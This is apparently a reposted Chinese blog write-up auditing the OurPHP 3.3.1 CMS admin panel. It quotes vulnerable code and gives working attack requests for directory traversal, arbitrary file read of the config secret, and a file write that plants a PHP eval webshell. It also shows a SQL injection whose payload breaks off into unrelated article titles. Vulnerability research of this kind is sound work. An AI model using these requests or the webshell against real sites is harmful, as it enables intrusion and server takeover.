OurPHP3.3.1审计与测试

Posted bfengj

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了OurPHP3.3.1审计与测试相关的知识,希望对你有一定的参考价值。

Ourphp3.3.1审计与测试

目录遍历漏洞

还是先看一下后台关于模板的代码,首先发现对于传入的路径没有做waf,导致了目录遍历。

漏洞从client/manage/ourphp_filebox.php`的第134行开始:

else

    if(empty($_SESSION['ourphp_out']))
    
        $file = listDirFiles('../../templates/'.$_GET['path']);
        $file2 = '../../templates/'.$_GET['path'];
    else
        $file = listDirFiles('../../'.$_GET['path']);
        $file2 = '../../'.$_GET['path'];  
    


    if(isset($_GET['dir']))
    
        foreach ($file as $op) 
            if(!strstr($op,"."))
                $list .= '
                <li>
                        <a href="?path='.$_GET['path'].'/'.$op.'&dir"><img src="../../skin/ico_file.png" width="80"><p>'.$op.'<br /><span>'.filearray($op).'</span></p></a>
                </li>
                ';
            
            if(strstr($op,".html") || strstr($op,".css") || strstr($op,".js") || strstr($op,".php") || strstr($op,".htaccess"))

                $format = format($op);
                $list .= '
                <li>
                        <a href="?path='.$file2.'/'.$op.'&edit"><img src="../../skin/'.$format[0].'" width="80"><p>'.$op.'<br /><span>'.filearray($op).'</span></p></a>
                </li>
                ';
            
            if(strstr($op,".jpg") || strstr($op,".jpeg") || strstr($op,".png") || strstr($op,".gif"))
                $list .= '
                <li>
                        <a href="'.$file2.'/'.$op.'" target="_blank"><img src="'.$file2.'/'.$op.'" width="80" height="70"><p>'.$op.'<br /><span>'.filearray($op).'</span></p></a>
                </li>
                ';
            
        
    

listDirFiles函数的作用就是得到这个目录下的所有文件夹和文件。然后如果传入了$_GET['dir'],就会把没有点的,还有存在特定后缀的文件给打印出来,基本涵盖了大部分的文件,存在目录遍历:

任意文件读取

还是模板这样对于传入的path没有做任何的限制导致的,漏洞开始于client/manage/ourphp_filebox.php函数的第175行:

    if(isset($_GET['edit']))
    
        if(isset($_GET['path']))
            $openfile = file_get_contents($_GET['path']);
            $openfile = str_replace("<textarea", "<ourphp_", $openfile);
            $openfile = str_replace("</textarea>", "</ourphp_>", $openfile);
            $list = '
            <form id="form1" name="form1" method="post" action="?path=edit&ok">
                <div class="boxedit">
                        <textarea id="code" name="code">'.$openfile.'</textarea>
                </div>
                <div class="boxok">

                    <p><a href="#"" onClick=window.open("tags.php","go","scrollbars=0,resizable=0,scrollbars=yes,width=1300,height=500,left=150,top=150,screenX=50,screenY=50")>在新窗口中弹出模板标签</a></p>
                    <p><a href="#"" onClick=window.open("ourphp_column.php?id=ourphp","go","scrollbars=0,resizable=0,scrollbars=yes,width=1300,height=500,left=150,top=150,screenX=50,screenY=50")>在新窗口中弹出栏目管理</a></p>
                    <p class="mt-50">
                    <input type="submit" name="Submit" value="保存代码" class="an" />
                    </p>
                </div>
                <input type="hidden" value="'.$_GET['path'].'|'.MD5($_GET['path'].$ourphp['safecode']).'" name="md">
            </form>
                <script id="script">
                var editor = CodeMirror.fromTextArea(document.getElementById("code"), 
                    lineNumbers: true,
                    ineWrapping: true,
                    mode: "markdown"
                );
                </script>
            ';
        
    

非常明显的:

            $openfile = file_get_contents($_GET['path']);
            $openfile = str_replace("<textarea", "<ourphp_", $openfile);
            $openfile = str_replace("</textarea>", "</ourphp_>", $openfile);

直接读:

http://www.ourphp331.com/client/manage/ourphp_filebox.php?path=../../../../../../../../../../../../../../../../flag&edit

任意文件写入1

还是模板这里,漏洞开始于client/manage/ourphp_filebox.php函数的第205行:

    if(isset($_GET['ok']))
    
        if(empty($_POST['code']) || empty($_POST['md']))
           $list = '<h1 style="float:left; margin-top:30px; padding-bottom:30px; font-size:20px; width:100%; text-align:center;">不能为空呀!</h1>';
        
        $md = explode("|", $_POST['md']);
        $md2 = MD5($md[0].$ourphp['safecode']);
        if($md[1] != $md2)
            $list = '<h1 style="float:left; margin-top:30px; padding-bottom:30px; font-size:20px; width:100%; text-align:center;">验证不通过呀!</h1>';
        

        $code = $_POST['code'];
		if(get_magic_quotes_gpc())
		
			$code = stripslashes($code);
		
        $code = str_replace("<ourphp_", "<textarea", $code);
        $code = str_replace("</ourphp_>", "</textarea>", $code);

        if(empty($_SESSION['ourphp_out']))
        
            
            
            if(stristr($code,"<?php") || stristr($code,"<%") || stristr($code,"language=\\"php\\"") || stristr($code,"language='php'") || stristr($code,"language=php") || stristr($code,"<?=") || stristr($md[0],".php") || stristr($md[0],".asp") || stristr($md[0],".aspx") || stristr($md[0],".jsp") || stristr($md[0],".htaccess") || stristr($md[0],".ini") || stristr($md[0],".user.ini"))
            
                $list = '<h1 style="float:left; margin-top:30px; padding-bottom:30px; font-size:20px; width:100%; text-align:center;">不要提交违法代码!</h1>';
            else

                $filego = fopen($md[0],'w');
                fwrite($filego,$code);
                fclose($filego);

                $list = '<h1 style="float:left; margin-top:30px; padding-bottom:30px; font-size:20px; width:100%; text-align:center;">编辑成功!</h1>';

            

        else
            

            if(stristr($md[0],".asp") || stristr($md[0],".aspx") || stristr($md[0],".jsp") || stristr($md[0],".htaccess") || stristr($md[0],".ini") || stristr($md[0],".user.ini"))
            
                $list = '<h1 style="float:left; margin-top:30px; padding-bottom:30px; font-size:20px; width:100%; text-align:center;">不要提交违法代码!</h1>';
            else

                $filego = fopen($md[0],'w');
                fwrite($filego,$code);
                fclose($filego);

                $list = '<h1 style="float:left; margin-top:30px; padding-bottom:30px; font-size:20px; width:100%; text-align:center;">编辑成功!</h1>';

            

        

    

可以发现$_POST['md']就是要写入的文件名,$_POST['code']就是要写入的内容,然后会经过一次if(empty($_SESSION['ourphp_out']))的判断进入2种处理方式,如果这个$_SESSION['ourphp_out']为空的话,进行的就是很严格的过滤:

if(stristr($code,"<?php") || stristr($code,"<%") || stristr($code,"language=\\"php\\"") || stristr($code,"language='php'") || stristr($code,"language=php") || stristr($code,"<?=") || stristr($md[0],".php") || stristr($md[0],".asp") || stristr($md[0],".aspx") || stristr($md[0],".jsp") || stristr($md[0],".htaccess") || stristr($md[0],".ini") || stristr($md[0],".user.ini"))

没法写马。但是如果进入的是else,就是没什么用的过滤,可以轻松写马:

            if(stristr($md[0],".asp") || stristr($md[0],".aspx") || stristr($md[0],".jsp") || stristr($md[0],".htaccess") || stristr($md[0],".ini") || stristr($md[0],".user.ini"))

因此需要给$_SESSION['ourphp_out']赋值。看一下这个的由来,是在当前这个php文件的前面:

$v = (empty($_GET['validation']))? "0" : $_GET['validation'];
$c = (empty($_GET['code']))? "0" : $_GET['code'];
pw($v,$c);
if(isset($_GET['out']))
    unset($_SESSION['ourphp_out']);

然后是pw函数:

function pw($a,$b)

    global $db,$ourphp;
    session_start();
    if ($a == $ourphp['validation'] && $b == $ourphp['safecode'])
         
        $_SESSION['ourphp_out'] = "ourphp";
        
    else

        if(empty($_SESSION['ourphp_out']))
        
            include 'ourphp_checkadmin.php';

        else

            session_start();

        

    

需要if ($a == $ourphp['validation'] && $b == $ourphp['safecode'])。前一个登录后台的时候需要,既然目前是在后台的模板功能上,因此前一个已经知道了,后一个的话就需要利用到上面的任意文件读取,读一下配置文件:

http://www.ourphp331.com/client/manage/ourphp_filebox.php?path=../../config/ourphp_config.php&edit

就可以得到了,这样就可以成功写马:

http://www.ourphp331.com/client/manage/ourphp_filebox.php?path&ok&code=TW3fJCk9hqwwUBfcKnFbgpHxQqjRQE1dk9hqww&validation=1

code=<?php eval($_POST[0]);?>&md=../../1.php

SQL注入1(update注入)

漏洞位于client/manage/ourphp_adview.php,从第11行开始:

if(isset($_GET["ourphp_cms"]) == "")
	echo '';
elseif ($_GET["ourphp_cms"] == "edit")

	if (!empty($_POST["OP_Adclass"]))
		$OP_Adclass = implode(',',$_POST["OP_Adclass"]);
	else
		$OP_Adclass = '';
	

	$query = $db -> update("`ourphp_ad`","`OP_Adcontent` = '".admin_sql($_POST["OP_Adcontent"])."',`OP_Adclass` = '".$OP_Adclass."',`time` = '".date("Y-m-d H:i:s")."'","where id = ".intval($_GET['id']));
	$ourphp_font = 1;
	$ourphp_class = 'ourphp_ad.php?id=ourphp';
	require 'ourphp_remind.php';
			

$_GET['ourphp_cms']='edit',然后注意下面的SQL语句:

$query = $db -> update("`ourphp_ad`","`OP_Adcontent` = '".admin_sql($_POST["OP_Adcontent"])."',`OP_Adclass` = '".$OP_Adclass."',`time` = '".date("Y-m-d H:i:s")."'","where id = ".intval($_GET['id']));

注意到$OP_Adclass是通过POST传参然后implode而来的,没有经过任何的过滤,因此存在SQL注入:

http://www.ourphp331.com/client/manage/ourphp_adview.php?ourphp_cms=edit&id=1

OP_Adclass[]bluecms 1.6 审计与渗透测试

bluecms 1.6 审计与渗透测试

Kitecms审计与测试

KYXSCMS1.3.2审计与测试

PHP代码审计1-审计环境与调试函数

WinCC的电子签名与审计追踪 2.0